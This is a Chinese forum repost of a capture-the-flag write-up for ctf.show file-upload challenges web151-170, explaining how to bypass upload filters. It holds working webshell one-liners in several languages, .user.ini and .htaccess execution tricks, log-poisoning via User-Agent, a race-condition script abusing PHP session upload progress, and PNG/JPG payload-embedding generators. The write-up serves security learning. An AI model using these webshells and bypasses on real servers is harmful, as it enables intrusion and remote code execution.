CTF show 文件上传篇(web151-170,看这一篇就够啦)

打印 上一主题 下一主题

主题 670|帖子 670|积分 2010

目次
一.前言
二.文件上传(web151-170)
1.web151(前端绕过)
1.1 编写一句话木马
1.2.寻找突破点
1.3.webshell连接
1.4 利用条件
2.web152(MIME头绕过)
2.1 知识点
2.2 绕过限定
2.3 利用条件
3.web153(.user.ini绕过)
3.1 知识点
?3.2 绕过限定
3.3 利用条件
4. web154(短标签绕过)
4.1 知识点
?4.2 绕过限定
4.3 利用条件
5. web155(同web154)
6. web156(php关键字和[]绕过)
6.1 知识点
6.2 绕过限定
7.web157(php关键字、[]、{}绕过)
7.1 知识点
?7.2 绕过限定
?8. web158(同web157)
9. web159(php关键字、[]、{}、;、()绕过)
9.1 知识点
9.2 绕过限定
10. web160(日志绕过)
11. web161(GIF89a绕过)
12. web162(条件竞争)
12.1 知识点
12.2 绕过限定
13. web163(条件竞争)
14. web164(png二次渲染利用 IDAT 块)
14.1 知识点
?14.2 题目实践
15. web165(jpg二次渲染)
15.1 知识点
?15.2 题目实践
16. web166(zip注入)
17. web167(.htaccess文件利用)
17.1 知识点
17.2 题目实践
18. web168(基础免杀 关键词绕过)
19. web169(user.ini的条件利用)
19.1 知识点
19.2 题目实践
web 170(user.ini的条件利用)
三.尾声

一.前言

本文章为本人ctf刷题过程中的一些简朴纪录,当然我也会尽量详细的写下我的解题思路,以及我对部分知识点的明白,本人也处在学习过程中,欢迎各位大佬与我一起讨论学习,感谢支持_
二.文件上传(web151-170)

如果前几关需要来看wp的人,大概率是刚入门的同学,所从前几关我会尽量写的详细,以供新同学入门,后面我就会只写过关思路了。
1.web151(前端绕过)

1.1 编写一句话木马

首先我们先来编写一个一句话木马
  1. <?php @eval($_POST['shell']); ?>
复制代码
这是一个php版本的一句话木马,值得留意的是,根据后端开辟语言的差别,编写的一句话木马也差别,这里我提供几个其他语言的一句话木马,如果想要深入相识,就需要自己去搜刮相关资料了。
ASP
  1. <%eval request("cmd")%>
复制代码
JSP
  1. <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
复制代码
Python (常见于Django, Flask等)
  1. import os
  2. os.system(request.form['cmd'])
复制代码
C#(常见于ASP.NET)
  1. <% System.Diagnostics.Process.Start(Request["cmd"]); %>
复制代码
1.2.寻找突破点

看到题目

提示我们”前端校验不可靠“,一般在ctf中,出题者多半会在页面或其他地方给到提示,给我们提供思路
本题便是使用前端校验的方式,查验我们上传的文件是否合格,我们可以通过检查前端代码发现限定我们的js代码

这里我提供两种方式来进行绕过
(1)修改JavaScript代码
我们将文件上传的后缀名限定修改为php

此时限定我们的js代码便不起作用了,我们便可以绕过进行上传了

发现上传成功后,我们可以先访问一下这个文件,如果是空缺页面,而非404大概率就是上传成功了

(2)bp抓包绕过
我们首先将文件名修改为符合要求的png

然后在上传的时候通过bp抓包修改后缀名

1.3.webshell连接

如果测试连接是返回{“code”:“UNABLE_TO_VERIFY_LEAF_SIGNATURE”}错误,应该是证书的题目

我们将https改为http,便可以成功连接了

在上级目次成功找的flag


1.4 利用条件

仅依赖前端校验
2.web152(MIME头绕过)

2.1 知识点

Content-Type 是 HTTP 协议中的一个头字段,用于指示发送给接收方的数据的媒体类型(也称为MIME类型)
   常见的 Content-Type 值
  

  • 文本类型:

    • text/html: HTML 文档。
    • text/plain: 纯文本。
    • text/css: CSS 样式表。
    • text/javascript: JavaScript 文件。

  • 应用类型:

    • application/json: JSON 数据格式。
    • application/xml: XML 数据格式。
    • application/x-www-form-urlencoded: 表单数据,以键值对方式编码,通常用于 POST 哀求。
    • multipart/form-data: 表单数据,通常用于文件上传时。

  • 图片类型:

    • image/jpeg: JPEG 图像。
    • image/png: PNG 图像。
    • image/gif: GIF 图像。

  • 音频/视频类型:

    • audio/mpeg: MP3 音频。
    • video/mp4: MP4 视频。

  2.2 绕过限定

这一关与上一关的差别之处便是多了个Content-Type ,所以我们单靠修改前端代码是无法绕过的
我们依旧将木马文件修改成合规的文件名
上传,抓包
这里除了发起文件后缀,还对文件的MIME类型进行校验,我们不用将其修改为合规的文件MIME类型即可,修改MIME类型不会对我们的文件有影响

蚁剑连接即可

2.3 利用条件

仅依赖Content-Type进行校验
3.web153(.user.ini绕过)

3.1 知识点

.user.ini的作用
   1.配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目次和子目次下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。
  2.特定目次的配置:与 .htaccess 文件类似,.user.ini 文件答应特定目次的细粒度配置,而不会影响整个服务器的设置。
  利用 .user.ini 绕过限定
   由于 .user.ini 文件可以覆盖某些 PHP 配置,它也大概被恶意利用来绕过服务器管理员设置的限定,以下是一些大概的方式:
  

  • 文件上传限定
    如果服务器全局设置了较低的文件上传大小限定,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
  • 脚本实行时间
    恶意用户大概会增加 max_execution_time 以制止脚本实行超时,从而进行更长时间的恶意运动,如暴力破解等。
  • 内存限定
    增加 memory_limit 可以资助恶意脚本在实行时获取更多的服务器资源,大概导致拒绝服务攻击(DoS)。
  • PHP 文件包罗毛病
    auto_prepend_file在 PHP 中,当用户访问.user.ini所在目次主页文件时,auto_prepend_file所指向的文件内容,会自动进行包罗,将文件内容看成php代码实行
  3.2 绕过限定

首先我们编写一个".user.ini"文件
  1. auto_prepend_file=shell.png
复制代码
这串内容的意思就是,在访问主页文件时,会自动包罗shell.png文件,将其文件内容当在php代码实行
先将".user.ini"上传至目标靶机
上传的时候发现".user.ini"不符合上传规范,我们依旧是给他增加一个合法的后缀名,再利用burp修改即可


之后我们再将包罗我们一句话木马的shell.png上传至目标靶机

值得留意的的是,我们并不能完全肯定upload目次下的主页文件是哪个,所以我们可以直接访问upload目次

显着可以看到,我在shell.png写的内容也出现了
接下来使用蚁剑连接即可
留意留意!!!!!!连接的所在是https://ae1b1446-fbe2-4179-90ac-3315ca849c79.challenge.ctf.show/upload/
不要跟上shell.png这个文件名!!!!!!!!!!

拿下

3.3 利用条件

   

  • 权限题目:上传后的文件是否有实行权限。
  • 路径题目:确保.user.ini和shell.php都在同一目次或者正确的路径。
  • 情况限定:目标服务器是否答应.user.ini覆盖配置。
  • 安全机制:答应.user.ini文件,对于上传的图片马无条件接收,并没有查验内容和文件头。
  4. web154(短标签绕过)

4.1 知识点

php部分标签写法
   <php @eval(KaTeX parse error: Undefined control sequence: \[ at position 7: \_POST\̲[̲'cmd'\]); > //正…_POST[‘cmd’]); > //短标签,适合过滤php
<% @eval($_POST[‘cmd’]); %> //asp风格
//  4.2 绕过限定

和上一题险些一样,不过本题过滤了php这个关键字
我们利用短标签绕过即可
依旧是上传“.user.ini”文件

再将我们的shell.png文件上传
将一句话木马换成短标签的样式

蚁剑连接即可

4.3 利用条件

   答应.user.ini文件,对于上传的图片马验证不严格,并没有彻底查验文件内容
  5. web155(同web154)

没看出和web154有啥区别,再次不再做赘述,按照web154方法即可通过
6. web156(php关键字和[]绕过)

6.1 知识点

   php中,[]可以使用{}进行替换
  6.2 绕过限定

和之前差别的地方在于多了个“[]”过滤
我们可以使用“{}”进行绕过,和“[]”效果是一样的
依旧是先上传.user.ini文件

在上传一句话木马

蚁剑连接即可

7.web157(php关键字、[]、{}绕过)

7.1 知识点

Linux中通配符作用
   1. 星号(*)
  星号用于匹配恣意数量的字符(包罗零个字符)。
  示例:
  

  • ls *.txt:列出当前目次下全部扩展名为.txt的文件。
  • cp /home/user/*.jpg /home/user/photos/:将/home/user/目次下全部扩展名为.jpg的文件复制到/home/user/photos/目次。
  • rm report*:删除当前目次下全部以report开头的文件。
  2. 问号()
  问号用于匹配单个字符。
  示例:
  

  • ls file?.txt:列出当前目次下全部文件名格式为fileX.txt的文件,其中X可以是恣意单个字符。
  • mv data??.csv backup/:将当前目次下全部文件名格式为dataXX.csv的文件移动到backup/目次,其中XX可以是恣意两个字符。
  3. 方括号([])
  方括号用于匹配方括号内的恣意一个字符。
  示例:
  

  • ls [abc].txt:列出当前目次下全部文件名为a.txt、b.txt或c.txt的文件。
  • rm file[1-9].txt:删除当前目次下全部文件名格式为fileX.txt的文件,其中X可以是1到9之间的恣意一个数字。
  4. 大括号({})
  大括号用于匹配大括号内的恣意一个模式。
  示例:
  

  • cp {file1,file2,file3}.txt backup/:将当前目次下文件名为file1.txt、file2.txt和file3.txt的文件复制到backup/目次。
  • mv {*.jpg,*.png} images/:将当前目次下全部扩展名为.jpg和.png的文件移动到images/目次。
  5. 感叹号(!)
  感叹号用于在方括号内表示清除某个字符。
  示例:
  

  • ls [!abc].txt:列出当前目次下全部文件名不是a.txt、b.txt或c.txt的文件。
  • rm file[!1-9].txt:删除当前目次下全部文件名格式为fileX.txt的文件,其中X不是1到9之间的恣意一个数字。
  7.2 绕过限定

除上一题过滤的之外,{}也被过滤了
这里可以思量使用system函数直接实行命令获取flag
依旧是先上传.user.ini文件,这里我偷个懒就不贴图了
再上传木马文件,可以先利用ls命令慢慢找flag

访问/upload/index.php检察命令实行的效果

flag不在这里,继承往上一级目次寻找

找到flag了,利用cat命令进行读取,由于php被过滤,我们可以利用通配符来进行模糊匹配


检察源代码即可找到flag

8. web158(同web157)

和web157雷同,不再多赘述
9. web159(php关键字、[]、{}、;、()绕过)

9.1 知识点

PHP命令实行函数
   1. exec()
  exec()实行一个外部程序,并返回末了一行输出的效果。
  2. system()
  system()实行一个外部程序,并输出效果。返回命令的末了一行输出。
  3. shell_exec()
  shell_exec()实行一个命令,并返回完整的输出。
  4. passthru()
  passthru()实行一个命令,并直接输出效果到标准输出(通常是欣赏器)。它与system()类似,但不会返回命令的输出。
  5. popen()
  popen()打开一个管道到一个历程,答应读取或写入历程的标准输入/输出。
  6. proc_open()
  proc_open()可以启动一个历程,并更多地控制其输入和输出。
  7. ``
  PHP 也支持用反引号(``)困绕命令的方式来实行命令,这是与shell中类似的语法。
  9.2 绕过限定

依旧上传.user.ini文件,不过system函数被过滤我们使用``进行绕过

访问/upload/index.php 检察源代码,即可获取flag

10. web160(日志绕过)

这里反撇号也被过滤了,思量用日志包罗进行绕过
依旧是先上传.user.ini文件
shell.png的内容如下
  1. <?=include"/var/lo"."g/nginx/access.lo"."g"?>
复制代码
  这段代码包罗并输出 /var/log/nginx/access.log 文件的内容。由于包罗的是一个日志文件,它的内容会直接作为PHP代码实行。
  

  • 其中/var/log/nginx/access.log到底为nginx的日志文件。
  • 由于log被过滤,所以使用**.** 进行拼接字符串,从而实现绕过
  

上传之后,观察日志文件

发现日志文件会纪录我们的UA头,我们可以将恶意代码放入UA头中来获取flag

成功获取flag

11. web161(GIF89a绕过)

与web160雷同,只不过在文件头添加GIF89a即可成功上传

12. web162(条件竞争)

12.1 知识点

条件竞争是什么
   简朴解释一下
  在文件上传中,假设存在如下流程:
  

  • 上传文件后立即生存到服务器。
  • 上传成功后进行文件格式的校验。
  • 如果文件格式符合要求,则重命名该文件。
  • 如果文件格式不符合要求,则删除该文件。
  由于服务器在处置惩罚多个并发哀求时,大概会出现以下几种情况:
  

  • 访问时间点在文件上传之前

    • 此时,文件尚未上传到服务器,任何对该文件的访问哀求将返回“文件不存在”。

  • 访问时间点在文件上传成功后,但服务器尚未完成校验及处置惩罚

    • 在此时间窗口内,文件已经存在于服务器上,但尚未经过格式校验。任何对该文件的访问哀求将会找到文件,但由于文件格式尚未验证,大概存在安全隐患。

  • 访问时间点在服务器删除文件之后

    • 如果文件格式不符合要求,服务器会删除该文件。此时,任何对该文件的访问哀求将返回“文件不存在”。

  所以,当我们上传的速度比服务器删除的速度快,我们就可以读取到我们的木马文件
12.2 绕过限定

上传**.user.ini**
  1. GIF89a
  2. auto_append_file=/tmp/sess_zho
复制代码
zho可以随缘改,和后面脚本中的sess中的内容相同等即可

接下来使用脚本
  1. import requests
  2. import threading
  3. import re
  4. # 创建一个会话对象,保持会话的状态
  5. session = requests.session()
  6. # 自拟的PHPSESSID,用于保持上传过程中的会话一致性
  7. sess = 'zho'
  8. # 目标URL
  9. url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
  10. url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"
  11. # POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
  12. data1 = {
  13.     'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
  14. }
  15. # 要上传的文件数据
  16. file = {
  17.     'file': '111'  # 文件名可以随意设置
  18. }
  19. # 设置会话cookie
  20. cookies = {
  21.     'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
  22. }
  23. # 定义上传文件的函数,持续发送POST请求
  24. def upload_file():
  25.     while True:
  26.         session.post(url1, data=data1, files=file, cookies=cookies)
  27. # 定义读取文件的函数,持续检查返回的页面内容
  28. def check_flag():
  29.     while True:
  30.         response = session.get(url2)  # 访问目标URL,检查是否能获取到flag
  31.         if 'flag' in response.text:  # 检查返回内容中是否包含flag
  32.             # 正则匹配flag,格式为ctfshow{}
  33.             flag = re.search(r'ctfshow{.+}', response.text)
  34.             if flag:
  35.                 print(flag.group())  # 如果找到flag,打印它
  36. # 创建两个线程,一个上传文件,一个检查flag
  37. threads = [
  38.     threading.Thread(target=upload_file),
  39.     threading.Thread(target=check_flag)
  40. ]
  41. # 启动所有线程
  42. for t in threads:
  43.     t.start()
复制代码

搞定
13. web163(条件竞争)

和web162一样
14. web164(png二次渲染利用 IDAT 块)

png二次渲染这里挺难的,我在这卡了好几天,我会尽我所能,尽量把这个点说清楚,如有错误,请及时告知本人,感谢
14.1 知识点

14.1.1 二次渲染毛病原理
   在我们上传文件后,网站会对图片进行二次处置惩罚(格式、尺寸要求等),服务器会把内里的内容进行替换更新,处置惩罚完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然雷同的数据块部分,将Webshell代码插在该部分,然后上传。
  14.1.2 png二次渲染毛病原理
(1)PNG文件格式结构
   PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来构造的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:
  

  • IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
  • IDAT(Image Data):图像数据块,包罗实际的图像像素信息。
  • IEND(Image End):图像竣事块,表示图像文件的竣事。
  • 其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。
  在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不破坏图像文件,险些不大概
  (2)二次渲染毛病的产生原因
   

  • 差别解析器的兼容性差异:差别的软件、欣赏器或操作系统中的 PNG 解析库对图像的解析方式有所差别。比方,某些解析器大概对格式不规范的 PNG 文件宽容处置惩罚,而其他解析器则会严格遵循规范。当同一个 PNG 文件被差别软件解析时,大概会出现差别的渲染效果。
  • 破坏文件的差别处置惩罚方式:一些 PNG 文件大概在结构上经过故意破坏(比方块序次异常、块大小不同等或非法数据填充)。某些解析器会忽略这些题目继承渲染图像,而其他解析器大概会按照差别的规则处置惩罚,甚至放弃渲染。这种处置惩罚方式的差异大概导致同一个文件在差别情况下显示差别的图像内容。
  • 利用非法块或多义性:PNG 文件中大概包罗多义性块,或者包罗了无效数据的块。差别的解析器在处置惩罚这些数据时大概会采取差别的操作路径。比方,一个图像头块 (IHDR) 的错误定义大概会导致某些解析器按错误的格式渲染图像,而其他解析器大概能辨认并校正错误。
  (3)PNG 二次渲染毛病的典型利用方式
   (1)篡改块内容或序次: 攻击者大概会故意改变 PNG 文件中的块内容或块序次,使得差别的解析器出现差别的效果。好比:
  

  • 在一个欣赏器中,图像大概被正常显示;
  • 而在另一个欣赏器中,图像大概显示错误或者带有恶意内容(比方广告或攻击性内容)。
  这种情况大概涉及块中的元数据或图像数据的篡改,造成渲染差异。
  (2)破坏的图像数据: 通过破坏或利用 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。比方,PNG 图像的图像数据采用的是 zlib 压缩算法,差别的解压库大概对破坏数据的容忍度差别,导致渲染效果差别。
  (3)颜色管理和透明度题目: PNG 支持丰富的颜色深度和透明度通道。偶然,通过故意利用颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示差别的透明度效果。比方:
  

  • 在某些欣赏器中,图像大概会显示为透明;
  • 在其他欣赏器中,图像则大概不透明,甚至显示出攻击者隐蔽的恶意图像。
  (4)文本注释块(tEXt)滥用: 某些 PNG 文件大概包罗文本注释块 (tEXt),这些注释通常包罗元数据,但如果这些数据被故意操控,大概会在某些解析器中触发差别的行为(如展示错误或乱码)。此外,一些文本注释块可以包罗恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。
  14.2 题目实践

这里有国外大牛写的一个脚本
  1. <?php
  2. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  3.            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  4.            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  5.            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  6.            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  7.            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  8.            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  9.            0x66, 0x44, 0x50, 0x33);
  10. $img = imagecreatetruecolor(32, 32);
  11. for ($y = 0; $y < sizeof($p); $y += 3) {
  12.    $r = $p[$y];
  13.    $g = $p[$y+1];
  14.    $b = $p[$y+2];
  15.    $color = imagecolorallocate($img, $r, $g, $b);
  16.    imagesetpixel($img, round($y / 3), 0, $color);
  17. }
  18. imagepng($img,'./1.png');
  19. ?>
复制代码
这个脚本便是通过利用 IDAT 块(图像数据块)将恶意代码插入了其中
运行这个脚本后,将生成的图片木马上传
当我们按照木马实行命令时,发现并没有回显文件目次

这个时候我们需要给哀求头增加Content-Type: application/x-www-form-urlencoded这个字段
其作用如下
   Content-Type: application/x-www-form-urlencoded 是 HTTP 哀求头中用于指定哀求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。
  添加这个哀求头成功获取flag

15. web165(jpg二次渲染)

15.1 知识点

15.1.1 jpg图像文件结构
   一个典型的JPG文件由多个段组成,每个段都有特定的标识符和数据。常见的段包罗:
  

  • SOI(Start of Image):图像开始标志
  • APPn(Application segments):应用程序自定义数据段
  • DQT(Define Quantization Table):量化表定义
  • DHT(Define Huffman Table):哈夫曼表定义
  • SOS(Start of Scan):扫描开始标志
  • EOI(End of Image):图像竣事标志
  15.1.2 jpg图片第一次解析和渲染
   当一个JPG文件被加载时,图像解析器会读取文件并将其内容转换为内存中的数据结构。解析器会逐段解析文件,并根据段内的指令和数据生成对应的图像。
  

  • 解析头部信息:读取SOI和EOI标志,确定文件的边界。
  • 解析数据段:逐个解析APPn、DQT、DHT、SOS等段,解码图像数据并渲染。
  15.1.3 二次渲染毛病的产生
   

  • 修改APPn段:在第一次解析时,攻击者通过APPn段嵌入恶意数据,使解析器在后续处置惩罚时触发毛病。
  • 伪造数据段:攻击者修改DQT或DHT段,使得在二次渲染时解析器瓦解或实行恶意代码。
  15.2 题目实践

同样是国外大牛的脚本
  1. <?php
  2.     /*
  3.     The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
  4.     It is necessary that the size and quality of the initial image are the same as those of the processed image.
  5.     1) Upload an arbitrary image via secured files upload script
  6.     2) Save the processed image and launch:
  7.     jpg_payload.php <jpg_name.jpg>
  8.     In case of successful injection you will get a specially crafted image, which should be uploaded again.
  9.     Since the most straightforward injection method is used, the following problems can occur:
  10.     1) After the second processing the injected data may become partially corrupted.
  11.     2) The jpg_payload.php script outputs "Something's wrong".
  12.     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
  13.     Sergey Bobrov @Black2Fan.
  14.     See also:
  15.     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
  16.     */
  17.                
  18.     $miniPayload = "<?=eval($_POST[1]);?>"; //注意$转义
  19.     if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
  20.         die('php-gd is not installed');
  21.     }
  22.     if(!isset($argv[1])) {
  23.         die('php jpg_payload.php <jpg_name.jpg>');
  24.     }
  25.     set_error_handler("custom_error_handler");
  26.     for($pad = 0; $pad < 1024; $pad++) {
  27.         $nullbytePayloadSize = $pad;
  28.         $dis = new DataInputStream($argv[1]);
  29.         $outStream = file_get_contents($argv[1]);
  30.         $extraBytes = 0;
  31.         $correctImage = TRUE;
  32.         if($dis->readShort() != 0xFFD8) {
  33.             die('Incorrect SOI marker');
  34.         }
  35.         while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
  36.             $marker = $dis->readByte();
  37.             $size = $dis->readShort() - 2;
  38.             $dis->skip($size);
  39.             if($marker === 0xDA) {
  40.                 $startPos = $dis->seek();
  41.                 $outStreamTmp =
  42.                     substr($outStream, 0, $startPos) .
  43.                     $miniPayload .
  44.                     str_repeat("",$nullbytePayloadSize) .
  45.                     substr($outStream, $startPos);
  46.                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);
  47.                 if($extraBytes !== 0) {
  48.                     while((!$dis->eof())) {
  49.                         if($dis->readByte() === 0xFF) {
  50.                             if($dis->readByte !== 0x00) {
  51.                                 break;
  52.                             }
  53.                         }
  54.                     }
  55.                     $stopPos = $dis->seek() - 2;
  56.                     $imageStreamSize = $stopPos - $startPos;
  57.                     $outStream =
  58.                         substr($outStream, 0, $startPos) .
  59.                         $miniPayload .
  60.                         substr(
  61.                             str_repeat("",$nullbytePayloadSize).
  62.                                 substr($outStream, $startPos, $imageStreamSize),
  63.                             0,
  64.                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
  65.                                 substr($outStream, $stopPos);
  66.                 } elseif($correctImage) {
  67.                     $outStream = $outStreamTmp;
  68.                 } else {
  69.                     break;
  70.                 }
  71.                 if(checkImage('payload_'.$argv[1], $outStream)) {
  72.                     die('Success!');
  73.                 } else {
  74.                     break;
  75.                 }
  76.             }
  77.         }
  78.     }
  79.     unlink('payload_'.$argv[1]);
  80.     die('Something's wrong');
  81.     function checkImage($filename, $data, $unlink = FALSE) {
  82.         global $correctImage;
  83.         file_put_contents($filename, $data);
  84.         $correctImage = TRUE;
  85.         imagecreatefromjpeg($filename);
  86.         if($unlink)
  87.             unlink($filename);
  88.         return $correctImage;
  89.     }
  90.     function custom_error_handler($errno, $errstr, $errfile, $errline) {
  91.         global $extraBytes, $correctImage;
  92.         $correctImage = FALSE;
  93.         if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {
  94.             if(isset($m[1])) {
  95.                 $extraBytes = (int)$m[1];
  96.             }
  97.         }
  98.     }
  99.     class DataInputStream {
  100.         private $binData;
  101.         private $order;
  102.         private $size;
  103.         public function __construct($filename, $order = false, $fromString = false) {
  104.             $this->binData = '';
  105.             $this->order = $order;
  106.             if(!$fromString) {
  107.                 if(!file_exists($filename) || !is_file($filename))
  108.                     die('File not exists ['.$filename.']');
  109.                 $this->binData = file_get_contents($filename);
  110.             } else {
  111.                 $this->binData = $filename;
  112.             }
  113.             $this->size = strlen($this->binData);
  114.         }
  115.         public function seek() {
  116.             return ($this->size - strlen($this->binData));
  117.         }
  118.         public function skip($skip) {
  119.             $this->binData = substr($this->binData, $skip);
  120.         }
  121.         public function readByte() {
  122.             if($this->eof()) {
  123.                 die('End Of File');
  124.             }
  125.             $byte = substr($this->binData, 0, 1);
  126.             $this->binData = substr($this->binData, 1);
  127.             return ord($byte);
  128.         }
  129.         public function readShort() {
  130.             if(strlen($this->binData) < 2) {
  131.                 die('End Of File');
  132.             }
  133.             $short = substr($this->binData, 0, 2);
  134.             $this->binData = substr($this->binData, 2);
  135.             if($this->order) {
  136.                 $short = (ord($short[1]) << 8) + ord($short[0]);
  137.             } else {
  138.                 $short = (ord($short[0]) << 8) + ord($short[1]);
  139.             }
  140.             return $short;
  141.         }
  142.         public function eof() {
  143.             return !$this->binData||(strlen($this->binData) === 0);
  144.         }
  145.     }
  146. ?>
复制代码
我们先将一个正常的jpg图片上传到服务器中,让他先辈行一次渲染

上传成功后,将图片下载到当地,留意另存为图片时,去upload下直接检察这个图片进行下载,不然下载下来不是jpg格式

将脚本和下载下来的图片放到同一目次实行如下命令
  1. php 脚本文件 图片文件
复制代码
如果提示
   php-gd is not installed
  实行如下命令
   sudo apt update
sudo apt install php-gd
  如果在实行sudo apt install php-gd 提示网络不可达,需要重新更换国内源,由于篇幅题目,这里我不做配置,出现这个题目标同学,自行百度办理吧

出现success就代表实行成功了,同级目次下一般会出现payload_原图片名.jpg文件

我们将生成的图片马再次上传到服务器
我们可以再次下载这张图片,检察恶意代码是否成功注入

检察flag即可

这里值得留意的是,并不是全部的jpg图片都可以成功,如果不行可以多试几张
16. web166(zip注入)

这一关应该是没有难点,随便搞一个zip的压缩包,将恶意代码注入到压缩包里即可

点击下载文件,使用burp抓包,实行命令即可


17. web167(.htaccess文件利用)

17.1 知识点

.htaccess简介
   .htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹暗码掩护、用户自动重定向、自定义错误页面等功能。
  17.2 题目实践

首先我们编写.htaccess文件
  1. <FilesMatch "shell.jpg">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
复制代码
这个大概意思是shell.jpg会被当做php文件实行
接下来我们在shell.jpg文件中插入我们的恶意代码

然后把.htaccess文件上传至目标服务器,这里也可以随便传一个文件,然后将文件名和内容改成.htaccess文件,效果是一样的

然后上传jpg木马文件

点击下载文件,利用恶意代码即可,依旧留意连接所在为http,使用https大概会失败


18. web168(基础免杀 关键词绕过)

首先做一个简朴的模糊测试

测试后发现``反引号并没有过滤,我们就可以利用反引号进行命令实行

成功上传,检察效果

检察flag即可


这里我不停没留意到还有flagaa.php,卡了半天,flag在flagaa.php文件中

19. web169(user.ini的条件利用)

19.1 知识点

user.ini的利用条件
   .user.ini见效的前提是访问本文件夹内的php文件,它才气起到配置作用
也就是说,.user.ini的同级目次中必须存在php文件才气进行利用

  19.2 题目实践

首先,这里我发现一个很有趣的点,前端限定只能上传zip文件

但是mime类型又限定只能上传png文件,很有趣

我们这里先上传一个随便啥都行的php文件上去,再上传.user.ini文件包罗日志

在上传.user.ini文件
  1. auto_prepend_file=/var/log/nginx/access.log
复制代码

然后访问 /upload/你上传php文件
而且在UA头中写入php代码

细致检察dream.php文件,可以看到ls命令实行成功了

cat读取flagaa.php文件

检察网页源代码,成功读取flag

web 170(user.ini的条件利用)

与上一题基本一样
依旧先上传.user.ini文件

然后随便传一个php文件

然后访问这个php文件,而且在UA头中注入恶意代码,这里我就直接读flagaa了

搞定

三.尾声

落笔至此,ctfshow的文件上传系列终于告一段落了,非常感谢各位同学能看到这里,如果在文章中发现了什么错误,或者有什么独特的思路,欢迎评论或私信我,网安路上,咱们共同进步!!!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张裕

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表